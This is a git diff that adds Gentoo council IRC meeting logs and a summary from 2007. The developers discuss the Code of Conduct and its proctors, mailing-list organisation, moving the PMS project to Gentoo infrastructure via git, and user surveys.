+Mar 15 14:33:51 wolf31o2|mobile	well, I say this... we vote on the version on my dev space right now, with the addition that we *will* revisit this document at the next regular council meeting, will have a list of suggested proctors (and have gotten their approval), and will review the proctors actions each council meeting
+Mar 15 14:33:56 wolf31o2|mobile	^^^^
+Mar 15 14:33:57 wolf31o2|mobile	there
+Mar 15 14:34:04 wolf31o2|mobile	so, vote ?
+Mar 15 14:34:22 Kugelfang	yes please
+Mar 15 14:34:30 *	kingtaco|work yes
+Mar 15 14:34:31 wolf31o2|mobile	ok...
+Mar 15 14:34:32 robbat2	yes
+Mar 15 14:34:32 wolf31o2|mobile	yes
+Mar 15 14:34:33 kloeri	yes
+Mar 15 14:34:41 *	windzor has quit (Client Quit)
+Mar 15 14:34:48 Uber	yes
+Mar 15 14:34:58 kingtaco|work	Kugelfang, your vote was yes or "yes, let's vote"
+Mar 15 14:34:59 *	Uber has just read it and it looks good
+Mar 15 14:35:08 Kugelfang	yes
+Mar 15 14:35:13 Kugelfang	kingtaco|work: :-)
+Mar 15 14:35:19 kingtaco|work	aight
+Mar 15 14:35:20 wolf31o2|mobile	slacker^Wspanky ? *grin*
+Mar 15 14:35:31 robbat2	vapier, ^^^
+Mar 15 14:35:36 kingtaco|work	vapier, you wanna play along with the other kids?
+Mar 15 14:36:12 *	MinnieBannister (n=roy@gentoo/developer/NeddySeagoon) has joined #gentoo-council
+Mar 15 14:36:18 kingtaco|work	I'd also like to see christel involved in the begining
+Mar 15 14:36:21 wolf31o2|mobile	also, where should we stick this for the time being?
+Mar 15 14:36:32 kingtaco|work	I think she has a lot of good ideas about stuff like this
+Mar 15 14:36:32 Kugelfang	wolf31o2|mobile: council project space
+Mar 15 14:36:38 wolf31o2|mobile	that's what I was thinking
+Mar 15 14:36:40 kingtaco|work	yeah, proj/en/council
+Mar 15 14:37:16 kingtaco|work	aight
+Mar 15 14:37:19 wolf31o2|mobile	ok... added now
+Mar 15 14:37:25 Kugelfang	excellent
+Mar 15 14:37:33 g2boojum	She's going to be a tad busy.  We got into GSOC again.
+Mar 15 14:37:49 kingtaco|work	g2boojum, I know, I'm trying to get you guys a bok this year :)
+Mar 15 14:37:53 kingtaco|work	*box
+Mar 15 14:38:03 wolf31o2|mobile	<CIA-1> wolf31o2 * gentoo/xml/htdocs/proj/en/council/coc.xml: Initial approved version of the Code of Conduct, to be reviewed at the next Council meeting.
+Mar 15 14:38:22 g2boojum	kingtaco|work: gracias
+Mar 15 14:38:35 robbat2	ok, i'll do the logs+summary for this meeting
+Mar 15 14:38:45 kingtaco|work	g2boojum, however, she can also manage to herd some insane group of 15k women or something with similar rules
+Mar 15 14:38:59 *	cshields (n=cshields@osuosl/staff/cshields) has joined #gentoo-council
+Mar 15 14:39:05 kingtaco|work	so
+Mar 15 14:39:06 wolf31o2|mobile	did anybody do logs/summary from the last one?
+Mar 15 14:39:12 kingtaco|work	yeah, vapier did
+Mar 15 14:39:14 wolf31o2|mobile	k
+Mar 15 14:39:21 wolf31o2|mobile	I didn't know he did a summary
+Mar 15 14:39:42 kingtaco|work	so I think it's best that a couple of us council types take charge in getting the initial group going
+Mar 15 14:40:07 kingtaco|work	probably kloeri, myself || robbat2 and one mroe
+Mar 15 14:40:26 robbat2	err, initial group of proctors?
+Mar 15 14:40:28 wolf31o2|mobile	well, you and robin have the infra-fu to make it happen
+Mar 15 14:40:29 kingtaco|work	no
+Mar 15 14:40:31 kingtaco|work	no
+Mar 15 14:40:46 kingtaco|work	just getting the initial group together
+Mar 15 14:40:50 robbat2	ah, ok
+Mar 15 14:40:57 kingtaco|work	forums, #gentoo, seemant, g2boojum, christel
+Mar 15 14:41:09 kingtaco|work	just so we don't all have to take up time on it
+Mar 15 14:41:10 kloeri	I'd be happy to help get the initial group together
+Mar 15 14:41:18 vapier	maybe some wikipedia links for trolling/flaming
+Mar 15 14:41:28 kingtaco|work	wolf31o2|mobile, that's why I suggested one of us :)
+Mar 15 14:41:43 kingtaco|work	and kloeri because it's sorta his turf
+Mar 15 14:42:02 robbat2	ok, for implementation wise, if you want to block somebodies posts right now, grab me in infra, the initial app is an hour or 3 away from being completed
+Mar 15 14:42:05 kingtaco|work	vapier, indeed
+Mar 15 14:42:23 kingtaco|work	or me, after robbat2 shows me how it works
+Mar 15 14:42:35 kingtaco|work	who's the 3rd?
+Mar 15 14:42:37 vapier	i'd prefer to abstain from vote for now until i get back to review current list
+Mar 15 14:42:42 kingtaco|work	and robbat2 you want to or shall I?
+Mar 15 14:42:44 kingtaco|work	vapier, so noted
+Mar 15 14:42:54 robbat2	kingtaco|work, you take it please, so I can finish the app
+Mar 15 14:43:00 kingtaco|work	robbat2, you got it
+Mar 15 14:43:06 kingtaco|work	we need one more person
+Mar 15 14:43:12 kingtaco|work	Uber, ?
+Mar 15 14:43:12 robbat2	here's my implementation plan - http://dev.gentoo.org/~robbat2/coc-ml-impl.txt
+Mar 15 14:43:22 kingtaco|work	Kugelfang, ?
+Mar 15 14:43:39 kingtaco|work	I'm excluding wolf as I want him for releng and trustees :)
+Mar 15 14:43:49 Kugelfang	kingtaco|work: huh?
+Mar 15 14:43:55 wolf31o2|mobile	heh... I was about to say I won't have time until after release
+Mar 15 14:44:03 kingtaco|work	Kugelfang, 3 of us are going to get the ball rolling
+Mar 15 14:44:03 *	expose has quit (Connection timed out)
+Mar 15 14:44:15 kingtaco|work	Kugelfang, it's me and kloeri so far, won't you join us?
+Mar 15 14:44:24 Kugelfang	kingtaco|work: all i want is grant in the group... i'm busy with release as well
+Mar 15 14:44:31 Kugelfang	kingtaco|work: so no
+Mar 15 14:44:35 kingtaco|work	Uber, join us
+Mar 15 14:44:45 kingtaco|work	or it's just me and kloeri
+Mar 15 14:44:49 kingtaco|work	we can do that
+Mar 15 14:44:53 kloeri	I'm only busy with releng work for two archs :)
+Mar 15 14:44:59 kingtaco|work	haha
+Mar 15 14:45:04 kingtaco|work	and I'm busy with infra
+Mar 15 14:45:08 kingtaco|work	we're all busy
+Mar 15 14:45:18 Kugelfang	i still say no :-P
+Mar 15 14:45:29 kingtaco|work	aight, me and kloeri it is
+Mar 15 14:45:38 kingtaco|work	Uber, if you want to help, please let us know
+Mar 15 14:45:46 kingtaco|work	and I think we're done
+Mar 15 14:45:50 kingtaco|work	any other business?
+Mar 15 14:46:05 robbat2	nope
+Mar 15 14:46:13 kloeri	nope
+Mar 15 14:46:17 Kugelfang	so let's finish this :-)
+Mar 15 14:46:27 Uber	kingtaco|work: I'm a little busy right now, sorry
+Mar 15 14:46:31 kingtaco|work	we just did
+Mar 15 14:46:38 kingtaco|work	class dismissed
+Mar 15 14:46:42 *	kingtaco|work sets mode -m #gentoo-council
+Mar 15 14:46:50 robbat2	kingtaco|work, maybe ask amne to help you get a group together too?
+Mar 15 14:46:51 Uber	kingtaco|work: huh, helping out how?
+Mar 15 14:46:52 impulze	heh
+Mar 15 14:47:07 kingtaco|work	Uber, just orginizing the initial people
+Mar 15 14:47:09 kloeri	wee! /me runs off to beat the weaker guys
+Mar 15 14:47:29 kingtaco|work	robbat2, aalready in pm with him
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20070412-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20070412-summary.txt
new file mode 100644
index 00000000..316f26d8
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20070412-summary.txt
@@ -0,0 +1,41 @@
+CoC:
+	- amne has been doing a good job putting the group together
+	- ask proctors to address these two issues for next meeting:
+		- add a "mission" statement
+		- fix wording to have a positive spin
+sync Social Contract with Gentoo Foundation (external entities):
+	- trustees will review the statement to clarify things and then
+	  we'll look again at syncing
+documentation for mail servers:
+	- they are supposed to be finished in terms of content
+	- wolf will look at getting them actually committed
+PMS:
+	- current status looks good in getting issues resolved
+	- should be up and running on Gentoo infra by next meeting
+	- let the devs sort out the todo as the current work flow seems
+	  to be getting things done finally
+splitting gentoo-dev mailing lists:
+	- no real favorable backing for this
+	- people dont like -dev because of the crap, splitting the lists
+	  will just move the crap else where, not really solving anything
+	- let proctors do their thing and if need be, review this again
+limiting of council powers:
+	- doesnt seem to be real backing for this from dev community or
+	  the council itself
+	- if a majority of developers are truly upset/disturbed by a
+	  council decision, it should show easily
+	- if you dont like a council member, dont vote for them next time
+moving gentoo-core to public archives:
+	- many people dislike this moving forward
+	- use -dev over -core for most things
+	- not going to happen at this time
+	- look into getting a dev-only archive finally
+surveys:
+	- robbat2 will look at getting user/dev surveys in place after the
+	  release of 2007.0
+	- probably try and take fresh surveys after each bi-annual release
+	  from now on to see if we're meeting many of users' desires
+new metastructure proposal:
+	- doesnt seem to address any of the problems it proposes to
+	- a large majority of developers and users prefer the single tree
+	  development style that Gentoo has versus many smaller trees
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20070412.txt b/xml/htdocs/proj/en/council/meeting-logs/20070412.txt
new file mode 100644
index 00000000..9c90c615
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20070412.txt
@@ -0,0 +1,606 @@
+[15:59] <vapier> get things rolling ?  or we want to wait until exactly 2000UTC
+[15:59] <solar> heh. odd. I just /msg taco asking him what time the meeting way
+[15:59] <solar> was
+[16:00] <kingtaco|work> I'm here
+[16:00] --> UberLord (n=uberlord@gentoo/developer/UberLord) has joined #gentoo-council
+[16:00] --- ChanServ sets modes [#gentoo-council +o UberLord]
+[16:00] <wolf31o2|mobile> I'm semi-here
+[16:00] <UberLord> I'm semi here - only just got home
+[16:00] <vapier> anyone feel like chairing it ?  if not i can do it up doggy style
+[16:01] <wolf31o2|mobile> I think you just volunteered
+[16:01] <vapier> err, that wasnt meant to be
+[16:01] <Kugelfang> vapier: tell sejo to sod of till after the meeting
+[16:01] <Kugelfang> vapier: you can't be humped right now
+[16:01] <vapier> fine, roll call
+[16:01] <vapier> i need a kloeri and a robbat2
+[16:02] <robbat2> hi
+[16:02] <vapier> kloeri: wake up
+[16:02] <vapier> we can start with http://article.gmane.org/gmane.linux.gentoo.devel/47673
+[16:02] --- vapier sets modes [#gentoo-council +m]
+[16:02] <vapier>  - documentation for mail servers still pending i believe (SPF / reply-to)
+[16:03] <Kugelfang> king of tacos wanted to commit it
+[16:03] <Kugelfang> kingtaco|work: right?
+[16:03] <vapier> wolf31o2 / KingTaco / robbat2: ?
+[16:03] <robbat2> i think the docs on those are done, just not commited yet
+[16:03] --> YosWinK (n=yoswink@gentoo/developer/yoswink) has joined #gentoo-council
+[16:03] <wolf31o2|mobile> vapier: someone from infra was to commit it... if it hasn't been done, I can take the lead on doing the commit... since /proj is free game to everyone anyway
+[16:04] <Kugelfang> do it!
+[16:04] <Kugelfang> :-)
+[16:04] <vapier> yeah, do it
+[16:05] <vapier> people keep saying their done
+[16:05] <vapier> proooove it and post em
+[16:05] <robbat2> i'm not sure who's got the latest revisions of them, so just grab those and commit :-)
+[16:05] <vapier> if they arent up by next meeting, you guys die
+[16:05] <vapier> no that isnt a joke
+[16:05] --> frangor (n=frangor@unaffiliated/frangor) has joined #gentoo-council
+[16:05] <vapier> next topic
+[16:05] <wolf31o2|mobile> robbat2: well, I did reply-to, so I know I have the latest there, and kloeri has latest spf
+[16:05] <Kugelfang> vapier: the can still appeal before execution
+[16:05] <vapier>  - sync Social Contract with Gentoo Foundation statement (external entities)
+[16:06] <vapier> anyone against that ?  need that be moved to trustees ?
+[16:06] <wolf31o2|mobile> what exactly did you mean by that one?
+[16:06] <wolf31o2|mobile> well, here's what I think... the social contract applies to what we *make*
+[16:06] <vapier> http://www.gentoo.org/foundation/en/#doc_chap2
+[16:06] <wolf31o2|mobile> anything regarding what we *use* should be directed to the trustees
+[16:06] <vapier> last part "Gentoo is independent"
+[16:07] <vapier> social contract is a promise to the people who use Gentoo
+[16:07] <vapier> it just largely covers what we make as that is largely how people use Gentoo
+[16:07] <wolf31o2|mobile> that doesn't change what I said... :P
+[16:07] <vapier> me neither !
+[16:07] <robbat2> err, which direction are you wanting to sync things in?
+[16:07] <vapier> foundation -> social contract
+[16:07] <robbat2> as they seem orthagonal atm
+[16:08] <wolf31o2|mobile> right... I guess I just see no point in duplicating those statements... though it might make more sense to have the foundation page clarified more
+[16:08] <kloeri> hi guys
+[16:08] <vapier> the rest of the principles are duped
+[16:08] <vapier> more or less
+[16:08] --> welp (n=welp@gentoo/developer/welp) has joined #gentoo-council
+[16:09] <Kugelfang> vapier: do you have a patch against the social contract?
+[16:09] <Kugelfang> i'm all for taking it in, but i need to read the diff first before i make up my mind
+[16:09] <vapier> copy and paste the part from the foundation
+[16:09] <vapier> wrap it in <p> </p>
+[16:09] <vapier> profit
+[16:10] <Kugelfang> s/Gentoo Foundation/Gentoo/
+[16:10] <Kugelfang> by all means, do it
+[16:10] <robbat2> kloeri, you had the SPF document somewhere? commit it please?
+[16:10] <wolf31o2|mobile> robbat2: I'll get it... it needs to be guidexml'd
+[16:10] <vapier> anyone else have an opinion ?
+[16:10] <wolf31o2|mobile> yeah, I think it is pointless to duplicate it
+[16:10] <kloeri> yeah, http://dev.gentoo.org/~kloeri/spf.txt
+[16:10] <wolf31o2|mobile> I'd much prefer see the trustees qualify those statements more
+[16:10] <vapier> wolf31o2: you dont fall into the "else" category
+[16:11] <wolf31o2|mobile> heh
+[16:11] <vapier> wolf31o2: sure, we can do that first
+[16:11] <vapier> i'd insert like "outside" before "organization"
+[16:11] <vapier> and fix the spelling so it reads "organization"
+[16:12] <robbat2> vapier, I agree in concept, but i'd like to see the diff first
+[16:12] * UberLord agrees with robbat2
+[16:12] --> diox (n=diox@gentoo/developer/diox) has joined #gentoo-council
+[16:12] <vapier> you guys really cant use your imagination huh
+[16:13] * UberLord has none :(
+[16:13] <vapier> the content is unchanged, the diff would only show formatting
+[16:13] <UberLord> i gotta split for a few minutes
+[16:13] <vapier> we can simply slack and ask the trustees to tweak it a bit
+[16:13] <vapier> then chat more next time
+[16:14] <robbat2> just bounce it in the -council mailing list after you hear from them?
+[16:14] <Kugelfang> no, -dev
+[16:14] <Kugelfang> just like all the other stuff we vote on
+[16:14] <vapier> i say we make wolf31o2 do it
+[16:14] <Kugelfang> if somebody wants to give input then i'd like to hear it
+[16:14] <robbat2> vapier, could we let him put out the 2007 release first?
+[16:14] <wolf31o2|mobile> it doesn't really belong on either, since the social contract is really something that pre-dates the foundation and should be completely superseded by the foundation now
+[16:15] <wolf31o2|mobile> robbat2: heh... that's what I'm working on right now... which is why I said I am only "semi-here"
+[16:16] <vapier> then let the trustees do their thing and we'll talk about syncing once they have
+[16:16] <vapier> that work for everyone ?
+[16:16] <robbat2> yup
+[16:16] <kingtaco|work> sure
+[16:16] <kloeri> yup
+[16:16] <wolf31o2|mobile> wfm
+[16:16] <Kugelfang> yes
+[16:16] <-- JaysonB has quit (Client Quit)
+[16:17] <vapier> wolf31o2: it's on your head then kthx
+[16:17] <vapier> up next, CoC
+[16:17] --- vapier sets modes [#gentoo-council +vv christel amne]
+[16:17] <kingtaco|work> CoC is building up proctors
+[16:17] --- kingtaco|work sets modes [#gentoo-council -v christel]
+[16:17] <vapier> pwnt
+[16:18] <kingtaco|work> she removed herself
+[16:18] <vapier> i missed that
+[16:18] <wolf31o2|mobile> quick CoC suggestion... we discuss changes here, then write them up and send them to -dev for discussion... as far as changes to the actual document
+[16:18] <vapier> amne is heading it up now then ?
+[16:18] <kingtaco|work> yes
+[16:18] --> Blacksito (i=koko@unaffiliated/blacksito) has joined #gentoo-council
+[16:19] <kingtaco|work> he is building up proctors in different timezones, seemed to be a bit heavy on #gentoo people at first, but that's subsided
+[16:19] <kingtaco|work> they've done nothing other than that
+[16:19] <vapier> what else is there for them to do now other than recruit their foot soldiers
+[16:19] <kingtaco|work> not much else
+[16:20] <vapier> so the notes i posted were based on e-mails no one responded to in the big CoC thread
+[16:20] <vapier> mainly kevinquinn and g2boojum
+[16:20] <kingtaco|work> not sure what you're refering to
+[16:20] <vapier>  - add a "mission" statement
+[16:20] <vapier>  - fix wording to have a positive spin
+[16:20] <kingtaco|work> I think most of us stopped reading that after the trolls invaded
+[16:20] <vapier> i dont have the gmane links atm to the specific e-mails
+[16:20] <robbat2> on the infra end, they've got the first tool they need to block stuff that they need to, the second one is taking longer than I thought due to upstream bits with mlmmj, but i'm working on it still
+[16:21] <Kugelfang> good
+[16:21] <kingtaco|work> vapier, can you send that to proctors@ so they can work on it?
+[16:21] <Kugelfang> what's the second tool supposed to do?
+[16:21] <robbat2> i thought the "positive spin" comment was meant against the initial version, before we revised it?
+[16:21] <vapier> robbat2: i dont feel like any of our revisions addressed that
+[16:21] --> beu (n=beu@foreignvoid.co.uk) has joined #gentoo-council
+[16:21] <vapier> it's still an angry document
+[16:22] <robbat2> Kugelfang, see the original implementation plan - the second tool will provide proper consensus support for proctors
+[16:22] <Kugelfang> i see
+[16:22] <vapier> i'm not sure we want to redraft it, just have the proctors do it and bring it back
+[16:23] <kingtaco|work> you want it to look more like the ubuntu stuff?
+[16:23] <Kugelfang> not everything needs to have sugar on-top
+[16:23] <vapier> i'd prefer we were one big amoeba
+[16:23] <Kugelfang> na... i don't want to share one cell with you!
+[16:24] <vapier> but until then, i feel that the way ubuntu's is written and the way ours is written are different polls
+[16:24] <vapier> i can live with middle ground
+[16:25] <robbat2> Kugelfang, keep your puesdopods to yourself?
+[16:25] <Kugelfang> puesdopods?
+[16:25] <Kugelfang> ah, pseudopods!
+[16:25] <Kugelfang> gotcha
+[16:25] <vapier> anywho
+[16:26] <vapier> any opinions ?
+[16:26] <Kugelfang> amne: any input from your side?
+[16:26] <robbat2> nope. - after the PMS stuff, I've got one other quick question for council before the open floor
+[16:26] <kingtaco|work> I think it's worded fine, but I don't care one way or the other'
+[16:27] <vapier> you're an angry man, this i know
+[16:27] <-- frangor (n=frangor@unaffiliated/frangor) has left #gentoo-council
+[16:27] <kingtaco|work> haha
+[16:27] --> Fieldy (i=S55UT4Nw@gentoo/contributor/Fieldy) has joined #gentoo-council
+[16:28] <vapier> amne: you awake ?  or you just mostly for show ?
+[16:28] <Kugelfang> vapier: well, this is to vague... as with the social contract, show me a diff and i say something
+[16:28] <wolf31o2|mobile> Kugelfang: I think the point is to assign making the diff to someone
+[16:28] <Kugelfang> ahh
+[16:28] <kingtaco|work> arn't we off that topic?
+[16:29] <wolf31o2|mobile> kingtaco|laptop: the CoC updates, we mean
+[16:29] <wolf31o2|mobile> and if nobody else steps up... I can do it... not like I have anything else to do
+[16:29] <vapier> you can work with amne on it
+[16:29] <Kugelfang> wolf31o2|mobile: let amne handle it... i don't think council should be any more involved than saying yay or nay to it
+[16:29] <vapier> and by work with amne i mean have amne do it but tell us you helped
+[16:29] <wolf31o2|mobile> Kugelfang: sure
+[16:30] <wolf31o2|mobile> vapier: sounds like a plan
+[16:30] <vapier> anyone else ?  UberLord / kloeri / robbat2 ?
+[16:30] <kingtaco|work> where is kloeri?
+[16:30] <robbat2> no problems with that
+[16:30] <kingtaco|work> is he a slacker?
+[16:30] <Kugelfang> no
+[16:30] <vapier> [16:07] <kloeri> hi guys
+[16:30] <kingtaco|work> ok
+[16:30] <robbat2> he pasted the spf link too
+[16:30] <robbat2> 20 minutes back
+[16:31] <kingtaco|work> okok
+[16:31] <Kugelfang> robbat2: keep kingtaco|work's lack of short-time memory in mind
+[16:31] <Kugelfang> :-P
+[16:31] <vapier> they can chime in later but i'm pretty sure they'll be ok with that
+[16:31] <vapier> moving on to hopefully a quickie
+[16:31] <vapier>  - splitting gentoo-dev mailing lists ?
+[16:31] <kingtaco|work> I think it's a stupid idea
+[16:31] <Kugelfang> -dev-announce and -dev?
+[16:31] <vapier> i think people were generally against this
+[16:31] <vapier> dont post crap to -dev is the answer ?
+[16:31] <Kugelfang> it comes up everytime we have a flamewar
+[16:32] <kingtaco|work> I think we should clean up the current lists instead
+[16:32] <Kugelfang> when the proctors work we don't need the split
+[16:32] <kingtaco|work> it puts more load on infra boxes and doesn't solve anything
+[16:32] <robbat2> yeah, don't post crap to -dev.
+[16:32] <vapier> seems like splitting the lists just moves the problem around
+[16:32] <Kugelfang> vapier: agreed
+[16:32] <vapier> and when the problem surfaces elsewhere, people will split that
+[16:32] <kingtaco|work> if anything, I'd like to see lists removed
+[16:32] <kingtaco|work> consolidated with other lists
+[16:32] <UberLord> back
+[16:33] <kingtaco|work> we have a plethora of lists that are meaningless
+[16:33] <vapier> hmm i think the lists of lists is outdated
+[16:33] <robbat2> yeah, I was looking at list stuff the other day, there's at least a dozen lists we should declare closed
+[16:33] <vapier> ive had some of the embedded ones killed off and consolidated
+[16:33] <robbat2> because nobody has used them for more than a year
+[16:33] --> Uber (n=uberlord@gentoo/developer/UberLord) has joined #gentoo-council
+[16:33] --- ChanServ sets modes [#gentoo-council +o Uber]
+[16:33] <robbat2> i'll take point on that if you want
+[16:33] <vapier> robbat2: can you compile said list and post to dev ?
+[16:34] <robbat2> yeah, will do
+[16:34] <Kugelfang> Uber: flakey connection?
+[16:34] <-- UberLord (n=uberlord@gentoo/developer/UberLord) has left #gentoo-council
+[16:34] <vapier> i think he has multiple computers
+[16:34] <Uber> multiple locations - am now at home
+[16:34] <kloeri> sorry, my internet connection dropped out - been on and off all evening
+[16:35] <vapier> "I think some people are arguing that splitting gentoo-dev and *requiring* devs to follow a list with only announcements, would reduce the stress to devs"
+[16:35] <vapier> yeah / neah ?
+[16:35] <Kugelfang> nay
+[16:35] <kingtaco|work> nay
+[16:35] <robbat2> a lot don't follow -dev already
+[16:36] <wolf31o2|mobile> I think it would... but I'd say nay for now... let's see what the proctors do for the situation before enacting any further measures
+[16:36] <robbat2> so it's a pointless request
+[16:36] <Kugelfang> wolf31o2|mobile: agreed with the later
+[16:36] <robbat2> who here didn't mark at least some part of the flamewars threads as read without reading the entire thing?
+[16:36] <vapier> sounds like a plan man
+[16:36] * wolf31o2|mobile didn't
+[16:36] <vapier> kmail has an option to mark a thread as read automatically
+[16:36] <Kugelfang> robbat2: i can claim i read it all
+[16:36] <wolf31o2|mobile> though I probably should have
+[16:36] <kingtaco|work> I mark a thread as spam as soon as ciaranm has more than 3 posts in it
+[16:37] <vapier> usually a safe bet
+[16:37] <Uber> i can claim that I bined most of them. Probably not the best thing but they waste my time.
+[16:37] <robbat2> Kugelfang, wolf31o2|mobile: and how many hours of your life would you like back?
+[16:37] <vapier> any other input or shall we close out here ?
+[16:37] <Kugelfang> robbat2: several
+[16:37] <robbat2> nothing more for this topic I think
+[16:37] <kloeri> I'm happy to see what the proctors and CoC can do to help clean the lists up for now
+[16:37] <vapier> moving on
+[16:37] <robbat2> PMS next, then my short item (surveys)
+[16:38] <Kugelfang> excellent
+[16:38] --- vapier sets modes [#gentoo-council +v spb]
+[16:38] --- Kugelfang sets modes [#gentoo-council +v spb]
+[16:38] <vapier>  - PMS:
+[16:38] <vapier>  - status update from spb
+[16:38] <vapier>  - moving it to Gentoo svn
+[16:38] <vapier>  - schedule for getting remaining issues settled
+[16:38] <Kugelfang> darn
+[16:38] <Kugelfang> spb: are you here?
+[16:38] <spb> yes
+[16:38] --> Betelgeuse (n=betelgeu@gentoo/developer/Betelgeuse) has joined #gentoo-council
+[16:39] <vapier> you're in the spotlight bub
+[16:40] <spb> status: you presumably saw my latest -dev mail
+[16:40] <spb> plus http://tinyurl.com/2z58xn
+[16:40] <vapier> http://thread.gmane.org/gmane.linux.gentoo.devel/47944
+[16:40] <spb> yes, that one
+[16:40] <Kugelfang> i count 15 open bugs of 50
+[16:40] <Kugelfang> nice work
+[16:41] <vapier> i dont think the buglist covers all the TODO's that are in the src ?
+[16:41] <vapier> i havent checked recently
+[16:41] <Kugelfang> ahn, and i think some of those bugs are already fixed in SVN
+[16:41] <Kugelfang> vapier: i think ciaranm made sure they are in sync some days ago...
+[16:41] <spb> vapier: probably not; there's at least one TODO that says "write dohtml"
+[16:41] <spb> or was
+[16:42] <vapier> now that we have proper bugzilla tracking, no more TODO's in the src
+[16:42] <vapier> at least none w/out a bug #
+[16:42] <spb> but the general idea is to resolve the current round of bug reports and TODOs, then repeat the process until new ones stop appearing
+[16:42] <vapier> sure
+[16:42] <vapier> KingTaco: ?
+[16:42] <kingtaco|work> vapier, ?
+[16:43] <vapier> just making sure you're happy with current status
+[16:43] <vapier> dont want any blue balls
+[16:43] <kingtaco|work> it's following the timelines we decided last month, I don't have any complaints on that
+[16:44] <vapier> k, so getting it moved to gentoo infra
+[16:44] <Kugelfang> robbat2 has a plan for it
+[16:44] <vapier> robbat2: ?
+[16:44] <spb> will happen once gentoo infra can offer what the project needs
+[16:44] <Kugelfang> that allows both solar and ciaran do contribute to it
+[16:44] <robbat2> I didn't heard a solid yes on spb from that when we discussed it in -infra
+[16:44] <vapier> frankly i dont think external entities should hold up any move
+[16:45] <wolf31o2|mobile> agreed
+[16:45] <Kugelfang> vapier: but moves shouldn't be rushed either
+[16:45] <robbat2> the plan there was since infra won't allow outside people to commit to SVN, was everybody happy if they could commit to GIT instead
+[16:45] <robbat2> (and yes, that includes ciaranm)
+[16:45] <vapier> via proxy which git allows trivially, sure
+[16:45] <spb> if git can work with the central repository model without introducing extra overhead
+[16:45] <Kugelfang> vapier: plan was: people commit to git, spb pulls from git and commits to svn
+[16:46] <spb> that sounds like a pita to me
+[16:46] <robbat2> no
+[16:46] <robbat2> that wasn
+[16:46] <robbat2> 't it
+[16:46] <Kugelfang> robbat2: mail?
+[16:46] <Kugelfang> robbat2: i'm sorry
+[16:46] <robbat2> it was that it was moving to git directly, and those that spb wanted, could direct-commit for the moment, but that there would be a reviewed branch that only spb could commit to
+[16:46] <Kugelfang> i see
+[16:47] <vapier> where are we moving the EAPI project here ?  sub project of portage ?
+[16:47] <Kugelfang> vapier: QA
+[16:47] <Kugelfang> vapier: it is already a QA subproject
+[16:47] <robbat2> because spb wasn't compromising on wanting ciaranm to have direct-commit to it at the moment
+[16:47] <vapier> well no external entities should have direct access to gentoo infra
+[16:48] <vapier> that's why you become a developer
+[16:48] <Kugelfang> vapier: not true
+[16:48] <Kugelfang> vapier: see overlays
+[16:48] <vapier> true
+[16:48] <Kugelfang> vapier: it's the very same process
+[16:48] <robbat2> it depends how you define direct access
+[16:48] <Kugelfang> people commit, but it needs to be reviewed
+[16:48] <vapier> but i consider this a little more important than overlays
+[16:48] <Kugelfang> which spb does
+[16:48] <vapier> k
+[16:49] <robbat2> infra won't give any access to non-devs that needs SSH keys.
+[16:49] <vapier> put a timeframe on it to be done by next meeting then ?
+[16:49] <spb> and if you look at the sort of changes that have been going in, it's easy for me to look over them and say "yes, ok"
+[16:49] <spb> it would however be a complete pita to proxy each commit
+[16:49] <robbat2> spb: you don't have to proxy each one with git
+[16:49] <vapier> depends on the scm
+[16:49] <robbat2> you can just do: 'git pull foo-from-ciaranm && git push ...'
+[16:49] <robbat2> done
+[16:50] <spb> if git lets him commit to one branch and have me pull all updates since i last did in one command then that works for me
+[16:50] <robbat2> where foo-from-ciaranm is the tree of all his changes
+[16:50] <vapier> i think here we just need to agree on a time frame
+[16:50] <vapier> you guys can hash it out in -infra
+[16:50] <robbat2> ok, then that's solved without any extra access :-)
+[16:50] <spb> this also relies upon him being able and willing to use git
+[16:50] <robbat2> since the merging is easier than you thought
+[16:51] --> ferringb (n=bharring@c-67-171-130-60.hsd1.or.comcast.net) has joined #gentoo-council
+[16:52] <vapier> eh eh eh ?
+[16:52] <vapier> get the infra stuff resolved by next meeting ?
+[16:52] <spb> i'm willing to try it, but there are other parties than me involved
+[16:52] <robbat2> yeah, i'll have a git tree for people to suck down before the weekend is over
+[16:52] <vapier> thats the other parties problem
+[16:52] <vapier> not ours
+[16:52] <kingtaco|work> it's not just him that gets a say
+[16:52] <kingtaco|work> it's our devs
+[16:53] * Uber nods
+[16:53] <spb> 'our devs' has to include the people actually working on pms
+[16:53] <vapier> no it doesnt
+[16:53] <spb> because i'm not going to move if it means losing those contributions
+[16:53] <spb> basically
+[16:54] <vapier> well either it gets moved voluntarily or not so much voluntarily
+[16:54] <vapier> you guys can hash it out in #-infra and post notes to the council alias as "significant" issues arise
+[16:55] <robbat2> council ML, not the alias
+[16:55] <vapier> err yes, sorry
+[16:55] <Kugelfang> nod
+[16:55] <robbat2> anything more on PMS?
+[16:55] <vapier> do we want to talk about a timeframe for EAPI-0 ?
+[16:56] <vapier> or let the current round of feedback go through and assume that it'll work itself out in the next month
+[16:56] <kingtaco|work> I think it's best to let the devs figure it out
+[16:56] <Kugelfang> it is
+[16:56] <vapier> k
+[16:57] <wolf31o2|mobile> agreed
+[16:57] <kloeri> agreed
+[16:57] <Kugelfang> robbat2: can you write some lines for me on your implementation plan?
+[16:57] <robbat2> yeah, let it work itself out in the next month
+[16:57] <Kugelfang> robbat2: per mail or /msg?
+[16:57] <robbat2> Kugelfang, I will later, I have to go out after this meeting
+[16:57] <Kugelfang> robbat2: re PMS on gentoo infra that is
+[16:57] <Kugelfang> robbat2: sure, sure!
+[16:57] <robbat2> ok, the one last item I had, just as a quick show of hands from council
+[16:58] <vapier> sure
+[16:58] <vapier> i think the last checklist items i have will get knocked out quickly
+[16:58] <robbat2> AFTER the 2007.0 release is out, I feel we should redo the original user survey
+[16:58] <robbat2> that lead to the releases being bi-annual
+[16:58] <kingtaco|work> I vote yes
+[16:58] <robbat2> to see what users consider of the various directions of Gentoo
+[16:58] <vapier> how were the previous ones handled ?
+[16:58] <vapier> i didnt know we had a survey until it was completed
+[16:59] <robbat2> we've only done one before
+[16:59] <vapier> but yes, a new survey posted to frontpage and such sounds good
+[16:59] <wolf31o2|mobile> robbat2: that survey had nothing to do with the releases being bi-annual, by the way
+[16:59] <robbat2> wolf31o2|mobile, oh, the way it read there was overwelming support for bi-annual releases
+[16:59] <wolf31o2|mobile> agreed... I wouldn't mind seeing a new survey done... and hopefully, done on a regular basis
